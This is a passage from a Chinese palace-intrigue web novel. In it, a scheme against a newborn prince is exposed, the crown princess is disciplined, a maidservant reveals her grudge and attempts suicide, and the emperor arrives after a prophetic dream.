她皱紧眉难以理解又焦躁心疼地看着庞嬷嬷,看着眼前将她带大的奶娘。
“对不住,奴婢对不住您……”
庞嬷嬷向她磕头。
“是奴婢怕宋昭训有了小皇孙之后跟您争权,奴婢不想让宋昭训挡了您的路!
所以奴婢瞒着您和青槐取得了联系,让她捡了晒干的鸟粪磨成粉带进了产房!
再让她趁宋昭训生产屋中大乱之际拿手摸了鸟粪,抹到剪子上去……”
庞嬷嬷的计划确是这样。
有一种鸟粪与肤色相似,干了之后没有任何味道,拿手指就能将其磨成粉。
槛儿的早产谁都没料到。
但这种鸟粪寻常并不少见。
青槐在槛儿
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怀胎满八个月整的时候,便借机寻了鸟粪将其藏至隐秘的地方
槛儿昨晚突然发动。
青槐趁大伙儿都动起来时用手指将鸟粪磨成了粉,沾了些许抹到耳朵后面。
有头发做遮掩,加之用量不大,即便有人检查他们身上也注意不到这个地方。
何婆子要提前剪脐带,青槐看到了。
但她没阻止。
原是想看何婆子能否成事的,没想到小皇孙突然哭闹,何婆子也被其他人发现了。
青槐便只有继续自己上了。
她其实并没有看见何婆子在剪子上动手脚,之所以提议换剪子不过是为了确保换上被她涂抹了鸟粪的剪子。
可惜没想到小皇孙当时哭闹不止,且银竹她们居然另外备了几把剪刀。
之后青槐就一直被人状似不经意间挡在了远离宋昭训的地方,再之后她便被逮住了。
“计划都是奴婢想的,是奴婢怨恨宋昭训!还请殿下勿要降罪于太子妃!”
事到如今庞嬷嬷必须要把这事揽下来,她在决定做这事之前就做好了的准备。
再者说青槐是顺国公府的人。
通常这种从小被放进宫的钉子,遇上涉及十恶不赦的重罪事件时都会先自裁。
可青槐却没有自裁。
这只能说明太子已经查出青槐是顺国公府的人,手里握的有青槐的把柄。
否则青槐不会这么就招了。
这么一来,如果庞嬷嬷不将事情彻底揽到自己头上,强调她是自作主张。
那么太子就会把谋害皇孙的罪名扣到太子妃头上,扣到顺国公府头上!
反之,庞嬷嬷抗下了这件事。
那么太子妃顶多就是个治下不严的罪,顺国公府要担的责也会相对轻很多。
脑袋里全是合计。
庞嬷嬷愈发把头磕得响。
海顺问她:“霜云做的事,也是你指使的?”
庞嬷嬷动作一顿。
不是,霜云先前确实同她提过挑唆永煦院的奴才办事,但被她给按下了。
她觉得此法可行性不大。
然而她明明没同意这么做,霜云却做了。
为什么?
庞嬷嬷暂时想不到各中缘由,但为了不牵连到她主子,她也咬牙认了!
“是!都是奴婢做的,是奴婢吩咐霜云……”
“不。”
“不是你。”
一道幽幽的声音陡然响起。
却是方才被吓得说不出话的霜云,她泪流满面,状若心灰意冷地看向郑明芷。
“主子……您要舍了嬷嬷吗?这两件事,分明是您让奴婢和嬷嬷做的啊……”
第152章 郑明芷遭罚“悔过”!“我要杀了你!
殿内的空气在刹那间凝滞,在场之人除了太子主仆二人似乎一时都忘了呼吸。
郑明芷扭头。
脖颈因为过于惊愕而呈现出一种僵硬的状态,转动间像是还能听到嘎嘎声响。
“霜云,你说什么?”
她问,声音平静得出奇。
有种暴风雨前来临前的宁静感。
霜云跪伏在地,撑着地的双臂中风也似的颤抖着,仿佛真被吓得不轻。
可她还是强忍着恐惧道:“是您……就是您啊,是您说宋昭训怀的不是皇孙是野种……”
海顺瞳孔一缩!
当即就要示意人掌嘴,太子忽然抬了抬手。
海顺望过去。
就见太子神态一贯的淡漠,然细看能见下颌骨紧绷,周身隐隐有肃杀之意。
海顺的后脊蹿起一股寒意。
这个霜云……
不论她所言是真是假,都死定了。
那厢霜云的声音在继续:
“……所以您私下里吩咐奴婢们趁宋昭训生产的时候斩草除根,也免得、免得……事情暴露出来有损您主母的贤名。”
不得不说,霜云不愧跟了郑明芷十几年。
不仅连她之前怀疑槛儿肚里怀的不是皇室血脉这样的猜测都给说中了。
还直接戳中了郑明芷自打成了太子妃后,一直最在意的东西——贤名。
霜云是郑明芷的陪嫁丫头。
她的证词别说是真的,就算是她胡扯的,在外人听来也绝对会信个十成十,遑论她说得这么有鼻子有眼。
所以她的话刚一说完,郑明芷劈裂了声音就是一记尖叫:“贱婢——”
“你怎么敢!你怎么敢——”
叫嚷着,她人也猛地扑了过去,按住霜云的肩啪啪几个大耳瓜子速度之快。
“我问你你怎么敢!贱婢你怎么敢!我什么时候跟你这么说过?什么时候叫你做这些事了?我什么时候叫你做了!
你是我的陪嫁,你做什么要污蔑我!做什么要这样?你说!你说!为什么啊——”
也是从没想过被自己当成心腹的陪嫁丫鬟,会在这种时候反咬自己一口。
郑明芷的理智几乎顷刻崩塌成齑粉。
以至于她以迅雷不及掩耳之势扇完霜云不觉解气,眨眼抱住霜云的脖子就是掐!
染着蔻丹的指甲几乎当场陷进霜云的肉里,其眼神更似淬了毒的刀子,似是要将霜云的肉一片片剐下来!
“主子!主子快松手!”
海顺在郑明芷刚冲过去**的时候,就叫了元淳宫的宫女过去把她拉开。
然而碍于郑明芷的身份那几个宫女愣是不敢上手,庞嬷嬷哭嚎着扑上去一把抱住郑明芷使劲把人往边上扯。
“别打了!别打了主子!”
“殿下看着呢!您没做过的事就是没做过,殿下不会冤枉您也不会放过陷害您的人!”
郑明芷养尊处优,力气自是比不得庞嬷嬷。
哪怕她再是挣扎着不让她拽,最后也还是被庞嬷嬷从霜云身上给扯开了。
霜云趴在地上捂着脖子呛咳。
涨红的脸上被血水眼泪糊了满脸,脖子上几个深深的指甲印也在往外渗血。
郑明芷没泄够愤。
嗓子尖利地叫嚷着,还要扑过去**。
庞嬷嬷就抱着她哭,劝。
郑明芷便仿佛彻底忘了此处是什么地方,有谁在场,而她自己的身份是何。
要知道太子妃作为储妃,将来的一国之母,其言行举止都是要遵循规矩礼法的。
别说太子在场,便是不在。
太子妃如此大喊大叫当众厮打宫女,也是严重失仪失检,紊乱宫规。
且大靖律明文在册,主子不按律法处置奴婢,擅自殴打奴婢致死者杖一百。
就郑明芷眼下这个势头,若是没人拦着保不齐真能将霜云当场打死。
“啊!啊!贱婢!贱婢!”
“我要杀了你!我要杀了你——”
郑明芷扯着嗓子嘶喊,庞嬷嬷抱着其痛哭流涕,主仆二人好不悲壮凄苦。
整个元淳宫内外都是她们的哭喊声。
忽然。
“呵。”
太子笑了。
低促的声音猝不及防,明明不大,却仿佛惊雷也似让殿内众人心神一震。
郑明芷成爪的五指僵住。
庞嬷嬷的哭嚎止住,霜云重新跪起来。
“你可真是孤的好太子妃,孤竟不知你原还有这一面,今日倒让孤开了眼界。”
“海顺。”
“奴才在。”
骆峋:“太子妃储前失仪,殴辱宫婢,以尊凌卑,即日起削减其份例,抄《内训》百遍,等事情结束交代给典玺局。”
“奴才遵令。”
郑明芷难以置信,眼一瞪作势就要暴起。
骆峋看着她,话是对海顺说的。
“太子妃多番储前喧哗,狂妄悖逆,以下犯上,明日请顺国公老夫人入宫宣训。
另将太子妃今日之过失记入东宫《内起居注》与《戒谕册》,以儆效尤。”
“加之今晚,迄今为止太子妃过失几回?”
海顺稍作思考。
“回殿下,太子妃于去年四月顶撞您一回,冬月在您跟前撕毁文书一件,后摔贡品器物数件,加上今晚折算起来已有两回大过,再有一回……”
海顺瞥眼郑明芷。
“再有一回,宗人府将来人请太子妃过府,以会审判定其是否有为储妃之格。”
骆峋颔首。
“孤治家不严,明日将向父皇母后请罪,稍后让詹事府拟写两份折子。”
海顺应下。
郑明芷瞳孔几欲缩成一根针。
很想说是霜云背主在先,她就是将其打杀了又如何,太子凭什么要为了这么个贱婢罚她,甚至记她的过!
然话到嘴边。
郑明芷没想起刑律,但是注意力完全转移到了太子要记她过失这件事上。
她难以置信,不敢确定自己听到了什么。
这男人居然都记得?
他都记得!
他把她对他的出言不逊,当着他的面撕毁证据,甚至连砸了贡品这种事都记到了《内起居注》和《戒谕册》里!
他还要向元隆帝和裴皇后请罪,他不帮着她把这件事瞒下?为什么不瞒了?
他难道忘了她这个太子妃的声誉直接关系到他这个太子的名声吗?!
被霜云激得粉碎的理智在这一刻回笼,也是这时候郑明芷终于想起一件事。
——过失记录在册。
后宫妃嫔和太子妻妾的过失不论大小,都会被皇帝和太子的人上报至内廷和宗人府。
就像皇子公主们也有专人记录他们的过失一样,过失累计到了一定程度宗人府便会报给皇帝和都察院御史。
皇帝审查之后即便有心偏袒,碍于祖制礼法,也或多或少会对其施以惩戒。
妃嫔和太子妻妾的记过规定为:十二小过为一中过,六次中过为一大过。
累大过三次便要面临宗人府会审,若查证为实,宗人府将根据过失性质定罪。
最后呈报皇帝。
要么重罚,要么废黜,要么赐死!
而顶撞储君为大过之首!
当然,如果储君夫妻关系和睦,太子本人并不计较太子妃与其争执一二。
并不算在内。
是她大意了。
是她大意了!
郑明芷顾不得不甘。
她挣开庞嬷嬷,踉跄着上前“嗵”一声跪地,这也是她头一回如此狼狈。
“不,不要……”
“殿下,不要记过不要让父皇母后知道,我方才、妾身只是一时被气昏了头。”
因着日里不曾听太子挂在嘴边,身边也没人提,所以她把这么重要的事给忘了。
她
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视太子为寻常丈夫。
深觉自己是元隆帝钦点的太子妃,太子要废她也势必要先经元隆帝的允许。
所以她一直以为太子当初没把那件事宣扬出来,今后也要为了顾及皇家颜面和他自己的颜面不会对外宣扬。
她便觉得自己没事了,便一心想着要在太子跟前摆正妻的谱,跟他争跟他闹!
哪怕太子之前拿出了她婚前失德的证据,郑明芷也还抱着侥幸心理。
觉得他还是需要她的,即便只是利用。
那也是需要她的。
所以郑明芷觉得这样就好,需要她就好,只要他需要她,她就还有机会!
时间能磨平一切,能让世人淡忘一切。
结果是她错了。
她错得一塌糊涂!
太子都记着,他都记着!
他真的……
可以废了她。
让她占着这个位置只是方便他行事,若非必要他也完全可以不省这个事!
什么傲气,什么厌恶,什么不屑。
都在这一刻被击得粉碎,相较于太子妃的位置这些东西根本不值一提!
难怪太子之前承诺于她,说她若不犯错,太子妃的位置便一直是她的。
原来那时候他就在提醒她!
也是奇怪。
短短几息。
郑明芷的脑子清醒得出奇,两年都没想通的事竟在这一瞬间让她给想明白了。
她也是能屈能伸,当即跪直腰杆,以一种前所未有的恭敬姿态俯身拜向太子。
“妾身知错,不该殿前失仪,以下犯上,不该身为皇室中人却罔顾本朝律令,请殿下息怒,妾身日后定当改正。”
大抵是察觉到了太子和太子妃之间的微妙关系,殿内外的宫人俱噤若寒蝉。
庞嬷嬷更是大气不敢喘。
唯一神色如常的人,只有主位上的太子。
骆峋没理会郑明芷的认错,甚至没叫她起来便重新将视线投向霜云。
海顺心领神会:“霜云,你说是太子妃指使你暗害小皇孙,你可有证据?”
霜云额头触地。
“奴婢没有直接的证据,因为太子妃平日里也会赏些贵重物给奴婢,太子妃要奴婢做什么只需吩咐即可。”
郑明芷的怒火重新被激了起来。
但这回她忍住了。
海顺:“你乃太子妃的陪嫁丫鬟,顺国公府家生子,为何会想到指认太子妃?”
霜云低垂着头,看着眼前的金砖地面。
“因为……因为太子妃想推庞嬷嬷当替罪羊,奴婢同为奴婢,实在是不忍……”
“霜云!”
庞嬷嬷凄声截断她的话。
砰砰朝太子磕道:“殿下明鉴,今晚的整桩事当真和太子妃没有任何关系。
是奴婢瞒着太子妃计划的,人也是奴婢串通的,太子妃没有下令,顺国公府更不知情,还请殿下明察!”
说完,她看向霜云。
悲愤交加道:“我不知道你为什么要扯这样的谎,但做人不能太昧着良心!
你从小在主子跟前伺候,主子把你们几个当亲姐妹待,给你们吃好的穿好的,让你们过得跟小姐一样好。
如今你却是端着碗吃饭,放了碗骂娘,我就问你亏不亏心!你亏不亏心?!”
这话她问得格外痛心疾首。
老泪纵横的脸上有一位长辈眼睁睁看着晚辈走错路的悲痛,也有一位忠仆对陷害主子之人的恼怒和仇怨。
涂抹星子喷溅到霜云脸上。
霜云眨了一下眼。
旋即,伏地的她忽然徐徐直了身。
眼中再无害怕惊慌。
“亏心?我为什么要亏心?”
“该亏心的,不是咱们主子吗?”
庞嬷嬷:“什么?”
霜云竟是笑了出来。
笑着转向郑明芷。
“您害死霜星霜雪时,可有觉亏心?”
第153章 三胞胎之死,霜云怒喷郑明芷!
霜云很小的时候就知道自己是奴婢。
她一个,霜雪一个,霜星一个,她们……
是时下罕见的三胞胎。
霜云是最小的妹妹。
说是小,其实也就比大姐霜雪晚半个时辰出来,比二姐霜星晚两刻钟出来。
五岁那年,霜雪、霜星被夫人挑去给她们家姑娘当玩伴,当时姑娘四岁。
霜云替姐姐们高兴,也很羡慕。
她也想去姑娘身边服侍,不想跟小伙伴一起做杂活,做杂活一点都不好。
霜云把这个想法告诉了两个姐姐,也不知姐姐们怎么跟姑娘说的好话。
七岁那年,霜云也去了姑娘院子里。
不是去给姑娘当玩伴,只是一个端茶倒水的三等小丫鬟,但霜云很开心。
每天和姐姐们在一起,真好。
姑娘小小年纪就有高门贵女的风范,德才兼备端庄优雅,府里人都道姑娘宽厚和善。
姑娘待她们也确实很好。
虽说私下里的性子有些娇横,偶尔在老夫人那边或是其他几房姑娘那里受了气,姑娘会回来发泄到她们身上。
但做下人的嘛,不就是这样?
由着主子撒气也是下人的本分,是荣幸。
霜雪、霜星这样想。
霜云也这样想。
霜云那时候倒还好,主子撒气都是关了门在内室撒,不会把事情闹开。
不会让其他人知道。
霜云平时在院子里伺候,吃不了什么气。
要不是霜雪和霜星跟她说,她都不知道原来和善的主子私下里有这一面。
就这么过了三年。
霜云仨姐妹十岁,主子九岁。
多数这个年纪的勋贵千金就能议亲了,尤其借亲事拉拢人脉势力的家族。
不过具体是个什么章程是上面主子们决定的事,做下人的能知道的不多。
霜云只知道她们主子也要开始为议亲做准备了,第一条就是要四个大丫鬟。
因着霜雪、霜星的关系,霜云被挑中了。
另一个便是霜月。
霜月起初不叫这个名儿,是主子随霜云她们姐妹仨给霜月改的这个名儿。
不过,虽说是四个大丫鬟,但实际主子还是习惯只要霜雪霜星在跟前伺候。
霜云和霜月多数时候在外间。
主子十二岁来的癸水,成了大姑娘,也是那一年霜云发现姐姐们开始变得不对劲。
好几次晚上,霜雪和霜星伺候主子歇下从卧房出来,霜云都见她们脸白得吓人。
偶尔半夜迷迷糊糊醒来。
霜云不是撞见大姐霜雪在偷着抹泪,就是撞见二姐霜星偷着抹泪或是干呕。
但每回问她们,她们又都说没事。
霜云不懂,便寻机偷偷去卧房听墙角。
哪知听了更不懂。
只听到主子一会儿说“这里”,一会儿说“那里”,一会儿叫“轻些”,一会儿叫“慢些”。
霜雪、霜星一直没出声。
霜云不明**姐们和主子在干嘛,想扒开窗户瞧,哪知被庞嬷嬷逮了正着。
最后狠吃了一通排揎。
霜雪霜星得知妹妹偷听了主子的墙角,两人平素第一次对妹妹发了火。
说什么也不要霜云继续在主子跟前伺候了,甚至要把她撵回去做杂活。
为此,姐妹仨闹得不欢而散。
中间又经历了不少矛盾,但最后霜云没走,霜雪霜星也没再提这事儿。
不过打那之后,霜云就没敢再去听墙角了。
只她和霜月都大致知道了一件事。
那便是主子有秘密。
且是她们不可轻易触及的秘密。
都是做下人的,自然懂得知道的越多死得越快,以及好奇心害死猫的道理。
所以那之后霜云也没再追问两个姐姐,毕竟往往泄密的人都落不得什么好下场。
于是就这样,姐妹仨各自藏着心思照旧过日子,直到她们随主子陪嫁到东宫。
打死霜云也不会想到,霜雪霜星会死。
就在太子和太子妃新婚刚满一个月的次日一早,主子告诉她,霜雪霜星**。
原因是她们触怒了太子。
做什么触怒了太子?
为何会触怒太子?
她那两个从来行事都小心谨慎的姐姐,怎么会在刚进宫的当头齐齐触怒太子?
她们究竟做了什么?
还是……
主子做了什么?
霜云当时满脑子的问题,然而没人告诉她答案,主子和庞嬷嬷始终一个说法。
霜雪霜星办了错事,被秘密处决了。
国公府一年到头都会悄无声息地死上几个十几个下人,更遑论偌大的皇宫。
当时主子和庞嬷嬷似乎没把霜雪霜星的死当回事,其他宫人也没当回事。
甚至连霜云自己都只颓丧了几天后就想开了,开始代替了姐姐的位置。
直到去年四月中旬的某一天,霜云从梦中惊醒,重新想起了她**的姐姐们。
想起了失去至亲的痛!
想起了曾经自己沉浸在伤痛之中时有听谁偷偷跟谁说,太子妃触怒了太子!
就在刚新婚一个月的时候
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。
也不知做了什么。
是啊,也不知做了什么触怒了太子。
害**她两个姐姐!
打从去年四月想起这件事,霜云就一直在暗中留意太子妃,想从中找出蛛丝马迹。
也不断变着法子讨好太子妃,想让太子妃也像重用霜雪霜星那样重用她。
这样她也就能知道对方的秘密到底是什么了,霜雪霜星为什么死的了。
可惜,太子妃和庞嬷嬷都对那件事讳莫如深,她俩谈话从不让她们在旁边。
声音也小得几乎听不见。
致使霜云什么也没打探出来。
但有一点她肯定了,那便是她的两个姐姐的的确确是被太子妃害死的!
去年四月太子妃和太子发生争执那次,太子妃扇她和霜月耳光时亲口承认的!
她说了——“这么怕做什么?怕我像害死霜雪霜星那样也害死你们?”。
此时此刻。
看着不远处那一身锦衣华服,玉芙蓉观音面,一派端庄宽和之态的女人。
霜云笑着,眼泪却不住地往下掉。
“您亏心吗?肯定不亏对吗?您要是亏心您就不会在她们死后那么无动于衷。
不对,您也难受过,您还为此病了几天,甚至至今提到她们的名字您都会脸色不好。
可您真的是为了她们难过吗?您真的会因为自己害**她们而愧疚吗?”
“不,您不是。”
“您是为了自己!为自己当初那么不小心触怒了殿下而后悔!为担心自己的位置可能因此而坐不稳感到后怕!”
霜云嘶哑着声音,视线早已模糊得不像话,脸也愈发红肿不堪,但她没有管。
“是,霜雪霜星是奴才,奴婢也是奴才。
奴婢们一家子都是国公府的奴才!对您来说身边死两个奴才没什么重要的。
奴婢不该要求主子对两个奴才心怀愧疚,可那是奴婢的姐姐,是奴婢的家人!”
“奴婢们跟了您十几年啊,十几年!”
“您但凡跟奴婢说一句‘对不住,我连累了霜雪霜星’,奴婢都不会那么痛,不会怨您!
可是您没有,您把错归咎到了霜雪霜星头上,她们到死连个好名声都没有!”
“所以你就未经我的允许设计让人诱导永煦院的奴才暗害小皇孙,还要将另外害小皇孙的罪名扣到我头上?”
眼见霜云的情绪愈发激动。
郑明芷忽然出声道。
霜云一个没防备,下意识脱口而出:“是!我要让你为害死霜雪霜星付出代价!”
第154章 (合章)请封良娣!二龙同朝!朕来得不巧了
郑明芷盯了她片刻。
笑了。
转身面向太子。
“殿下,这贱婢背主作乱,以卑犯尊,当以谋逆论!还请殿下为妾身做主!”
霜云在回答完郑明芷的话的瞬间,也意识到了自己犯了最低级的错。
这会儿听郑明芷直接给她定了罪,她身子一僵,可很快她就又笑了。
“贱婢贱婢,是,我是贱婢!你骂宋昭训也是贱婢,你看谁都贱就你最高贵!”
郑明芷简直要被气**。
“你!”
却是没给她说话的机会。
霜云:“你以为证实了事情是我做的,证实了是我陷害你你就没事了?
你错了,我是你的陪嫁,再说还有庞嬷嬷呢,你想要就此置身事外没那么容易!”
“郑明芷我诅咒你……”
“诅咒你一生所求而不可得!诅咒你像我这个贱婢一样死无葬身之地!”
“我会在下面看着你,看你能高贵到几时!”
说罢,没等所有人反应。
霜云“刷”地起身,直直朝门框子撞去!
“啊——”
郑明芷尖叫。
庞嬷嬷闭上眼。
青槐和雁荷早被吓得魂不守舍。
然而就在她们以为霜云下一刻就要命丧于此时,只听得“砰”的一声。
竟是一个茶盏盏盖忽地击中霜云的膝弯,致使她一个趔趄栽倒在地。
众人惊愕不止。
再看那盏盖,不就是太子用的茶盏盏盖?!
此时已应声而碎。
众人纷纷骇然,正是冷汗直流之际,殿外倏地传来龙吟虎啸般的声音。
“朕来得不巧了。”
“早知你这边这么热闹,朕就不来了。”
.
三个时辰前。
元隆帝这个年过得很烦。
从腊月十九冬至起,除夕、元旦、元宵,不到一个月要举办四次大宴。
忙也就罢。
平时他也忙,不少时候夜里睡不足三个时辰,更甚者通宵达旦,元隆帝习惯了。
但平时忙的是政事,多数忙完不久便能见到成果,他忙得心甘情愿。
然举办宴席这种忙,元隆帝真心不喜。
耗钱耗力,铺张浪费!
问题是这四天在本朝属四大节庆,哪一个宴席都不可直接取消,再不济也要给群臣赏赐节礼再办一场家宴。
若不然就要被那群文官念叨“违背祖制”、“违背礼法”、“不孝失德”。
之后再被史官记一笔,背上罔顾孝道的骂名。
元隆帝倒不怕被骂。
做皇帝的若是怕被骂,就注定成不了大事。
可关键在于这几个宴要么与王朝正统、王朝根基挂钩,要么关系到本朝对于番邦而言的宗主国地位。
一旦取消,便容易引起各地震荡。
可谓牵一发而动全身。
没办法,终归是要办的。
但这并不影响元隆帝觉得它烦。
所以到了今晚元宵,宴没过一半他便寻机将后半段宴留给太子张罗了。
他自己回乾元殿困觉。
沉沉睡去不知过去多久,元隆帝的耳边忽地隐隐响起一道熟悉的声音。
“骆煊,骆煊……”
元隆帝不悦皱眉。
谁人如此大胆,竟敢直呼他名讳?
简直放肆!
“我看你才放肆!”
元隆帝刚想完,后脑勺猝不及防挨了一下,伴随而来的是一道雷霆似的怒骂。
元隆帝双目一瞪,反手要给身后胆大包天之徒一个教训,哪知伸手抓了空。
紧跟着一道明黄耀眼的身影飞速闪现至他跟前,几乎与他脸贴着脸。
“皮痒痒了,敢打你老子?”
得亏元隆帝胆大,若不然就他这个年纪哪怕是在梦里,也高低要吓出个好歹来。
“爹、爹?不是,父皇?!”
“哼!”
高祖启运神德显功钦文奋武定统肃光孝仁文皇帝,先帝爷,重重冷哼一声。
鼻息喷了元隆帝一脸。
元隆帝抹一把脸后退几步,对着仙逝已久的皇帝爹行了三叩九拜之礼。
待先帝爷叫起,他恭恭敬敬站起来。
“父皇,可否请您宽限儿子半日,待儿子交代好后事您再来接儿子也不迟。”
先帝爷瞪他。
一脸“你在说什么玩意儿”的表情。
元隆帝呼出一口气。
红了眼眶:“执牧过了年方二十有二,儿子有负父皇临终之愿,对其心生猜忌,未能早日将毕生治国之道传授于他。
如今父皇入梦,想必儿子大限已至,然江山社稷重若千钧,大业未竞储君历浅,儿子……”
先帝爷再瞪眼。
合则他堂堂大行皇帝成勾命的无常鬼了!
懒得听儿子废话,先帝爷抬手一指。
元隆帝便觉喉间被堵。
竟是不论他如何张口,都发不出声音!
元隆帝看着先帝爷,眼中目光不禁愈发敬畏,暗道不愧是他爹,果真厉害。
活着的时候单枪匹马破敌方万军包围,如今**连仙法都会了,也不知他大行之后是否能修成仙法。
先帝听到儿子的心里话,扶了扶额。
选择性忽视,右臂一抬。
只听得一声玄鸟之鸣响彻云霄,白雾茫茫的天际忽而霞光万丈,日月同升。
一双翼形似火焰,尾似凤凰,通体金光的玄鸟俯冲而下,又有双龙自天际而起。
一鸟二龙于空中盘旋数息。
之后龙鸟合鸣,携日月霞光朝元隆帝冲来。
元隆帝动弹不得。
顷刻间被灼灼日光与霞光包围,外加一鸟二龙周身金光阵阵和鸣叫彻天。
他只觉眼要瞎耳要聋了。
就在元隆帝双目即将渗泪之时,他的双手不受控地呈托举状缓缓抬起。
下一刻。
一颗灼热金珠自玄鸟口中落入他手中。
元隆帝看看金珠,再朝他爹看去。
便见他爹不知何时站于一龙首上,身披彩霞肩负日月,玄鸟围着其打转鸣叫。
“爹……”
元隆帝终于能言,开口声音哽咽。
先帝目光威严又不失慈爱地看着自己年近六十,动不动哭鼻子的儿子。
声如洪钟:“玄鸟衔珠,玄孙携慧,此子承天祚明德,当开我大靖盛世,吾儿慎待之。”
话音落。
元隆帝忽感头顶像是被抚了一下,再定睛看龙首上的先帝,只见其眼里含笑。
“吾儿做得甚好,朕心甚慰,执牧肖你。”
元隆帝就绷不住了,眼泪哗啦啦掉。
眼见先帝爷乘龙而去,他手捧金珠追过去:“爹,爹!再与儿子说说话罢。”
可惜老爷子狠心得很,竟是头也不回,元隆帝的胡子都被眼泪打湿了。
心中自是感伤至极。
就在此时,忽闻一道碎裂之声。
元隆帝擦擦泪眼低头看去,手中金珠竟裂开一道缝,一只幼鸟冒出头来。
“啾?”
“陛下,陛下?”
元隆帝正欲细究那只幼鸟,耳边便想起了全仕财的声音,他睁眼一看。
对上全仕财那张皱巴巴的长方脸。
元隆帝一顿,复把眼睛闭上。
全仕财:“?”
全仕财小心翼翼:“陛下可是梦见先帝爷了?”
元隆帝:“你又知道。”
全仕财心说您搁这儿一直喊爹呢。
我能不知道?
当然这话不能说,不过他不说元隆帝倒是猜到了,当即睁眼狠狠瞪他一眼。
遂接过全仕财手中的帕子,擦擦脸。
“陛下,有大喜事!”
全仕财撩袍跪地,中气十足道。
“万岁爷洪福齐天,今正月十六寅时初太子殿下喜得麟儿,小殿下啼声如洪,天资贵体,实乃大**祚昌隆之兆!”
乾元殿里外跪倒大片宫人。
“恭贺陛下洪福齐天,太子殿下麟趾呈祥,天佑大靖龙脉昌盛,千秋万代!”
元隆帝手里的帕子都掉了。
“该这时候生?”
全仕财只当万岁爷为太子有后而欣喜过头,不禁笑得愈发见牙不见眼。
“回主子,圣嗣临急天择吉时,报消息的人说小殿下贵体康健,无不足之症。”
“圣嗣临急,天择吉时……”
元隆帝想到刚刚的梦,一番自语缓缓下了榻,沉吟数息他抚须大笑。
“好一个圣嗣临急天择吉时,赏!大赏!”
全仕财叩首高声谢赏。
殿内外的其他宫人闻言知道他们这是也要得赏了,纷纷面露喜色高声叩谢。
等元隆帝笑得差不多了。
全仕财起身禀道:“陛下,太子另有奏。”
元隆帝挑眉。
全仕财从小太监捧来的楠木雕龙托盘里拿起太子的奏折双手呈给他。
元隆帝随手打开。
——为宫妾宋氏诞育元孙恳恩晋封事。
臣谨奏:
伏以祖宗垂训,胤嗣乃国本之重,兹有臣妾宋氏,髫年入侍,**训五载,纫针无怠,秉性柔嘉。
事臣以来调膳克勤,敛裾守隅,颖慎相济,妊嗣之期妊护有术,禔躬胎教。
今幸得天眷垂慈,诞育元孙,母子康宁,伏念皇孙承祧之重,而生母位号未彰,非所以重国本,褒宗庙也。
今宋氏虽出蓬门,然敏而守默,**安位,无外戚干请之私,仰请父皇俯鉴……
……
……
伏请册良娣之位,临表涕零,臣惶恐待之。
元隆二十一年正月十六日
皇太子臣骆峋谨奏。
“呵。”
元隆帝瞄了眼下方的时日,哼笑出声,“他倒是一刻也等不得,你也瞧瞧。”
全仕财恭恭敬敬接过奏折。
他服侍元隆帝几十年,早有颗七窍玲珑心,翻开奏章便直奔着下面时间。
看完,全仕财笑着道:“殿下初为人父,待小皇孙慎重万分,也是情有可原。”
元隆帝却觉得不尽然。
他记得两个月前皇后夜里同他谈及皇孙时,有提到过那位姓宋的昭训。
看皇后的样子,倒是对那小昭训挺满意。
不过,那也是太子将那小昭训带到她跟前在先,小子跟老子玩这一套!
元隆帝哼了哼。
旋即往奏折上扫一眼,又想起那个梦。
常言帝王梦,乃天命现。
皆因帝王称天子,其梦境便常被世人认为可直通天意,接收神谕。
譬如商王武丁梦贤相傅说。
传说武丁通过梦境找到本为奴隶的傅说,破格任其为臣,将商朝推向强盛。
当然,所谓帝王梦之说其实多数时候更偏向一种权术,一种**手段。
元隆帝对此自是清楚不过。
但……
宁可信其有,不可信其无。
何况从前他的确没做过这样的梦,有霞光日月、龙鸟合鸣,又有先帝爷。
尤其金珠破壳,皇孙降世。
“替朕更衣,去东宫!”
元隆帝大手一挥。
全仕财受惊不小。
一则宫廷礼教森严,哪怕亲父子,日常也极少会有皇帝亲临皇子处探视。
就算宠爱,也一般是将其召来伴驾。
年幼皇子皇孙是如此,已成家的皇子更不必提。
皇帝亲临,可谓至高的荣耀。
二则正月十六歇一天,十七才正式重启朝会。
这会儿还不到卯时,外头黑漆漆的一片,哪有这么早跑去彰显龙恩的?
全仕财便想劝来着。
但元隆帝非去不可,龙颜似乎十分悦。
全仕财
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只好遵旨。
心里这时候多少也有数了。
陛下这么高兴恐怕不仅仅是为太子终于有子嗣了,兴许还与刚刚的梦有关。
全仕财没敢深究陛下梦到了先帝什么,但他知道东宫许是要彻底复宠了。
麻利地收拾完,全仕财要使人先去东宫通禀,让太子做好接驾准备。
哪知元隆帝摆摆手。
“不必,咱们悄悄去,给他个惊喜。”
全仕财:“……”
然后此时此刻。
看看殿中的情形,想到陛下禁了人通传,躲在门口柱子后面听到的动静。
全仕财捂了一把脸。
惊喜不惊喜不知道,反正挺惊吓的。
.
“朕来得不巧了。”
“早知你这边这么热闹,朕就不来了。”
随着这道浑厚威严的声音落下,殿内之人除了太子,皆神色惊惧,周身僵直宛如被施了定身法也似。
骆峋自然也是惊的,没料到父皇会驾临,只不过他神色管理一向到位。
仅吃惊了一瞬,骆峋疾步来到门前。
撩起衣袍从容行礼:“恭请父皇圣安,父皇驾临有失远迎,儿臣愿领罪。”
郑明芷被吓傻了,别看她之前总以自己是元隆帝赐婚的太子妃而自傲。
实则因着尊卑和男女大防,除了新婚次日向帝后敬茶时近距离得见过龙颜。
其他时候郑明芷基本和其他几位王妃一样,都只能远远敬畏着这位公爹。
而她此时之所以被吓成这样,并不是纯粹被元隆帝的龙威给震慑住了。
她打小参加宫宴,不至于这般不成器。
而是此前郑明芷知道太子要利用她,两人在外一直是相敬如宾的状态。
她对裴皇后和元隆帝尽到了儿媳的本分,老两口亦不曾对她表现过不满。
也因此,郑明芷渐渐放松了警惕。
日常尽职尽责地扮演着太子的好妻子一角,帝后的好儿媳一角。
然而这会儿……
她让元隆帝看到了她的陪嫁奴才背主,看到了她狼狈地跪在太子面前!
问题是元隆帝何时来的?
他听了多少?
他会怎么想她这个太子妃?
种种恐慌在郑明芷的脑海里交织。
也让她想起了因着日子过得过于太平而被她忽视了的一件事——欺君!
郑明芷在元隆帝赐婚前失德,她爹顺国公彼时并不知情,美滋滋地接了旨。
她和她娘自是惊骇不已,不得已对她爹说出实情,顺国公吓得当场晕厥。
可晕归晕,圣旨刚接。
他们只能苦想解决之法。
为此一家三口终日惶惶不安,偏不敢表现出来,就怕露出破绽被察觉出什么。
可是怕过之后。
她娘忽然说出了**中的一句话——“深宫一朝宠,换之九族贵,疯魔天下娥”。
但真的不怪女子疯魔,而是史上靠恩宠翻身,荣华一世的低贱之人太多了!
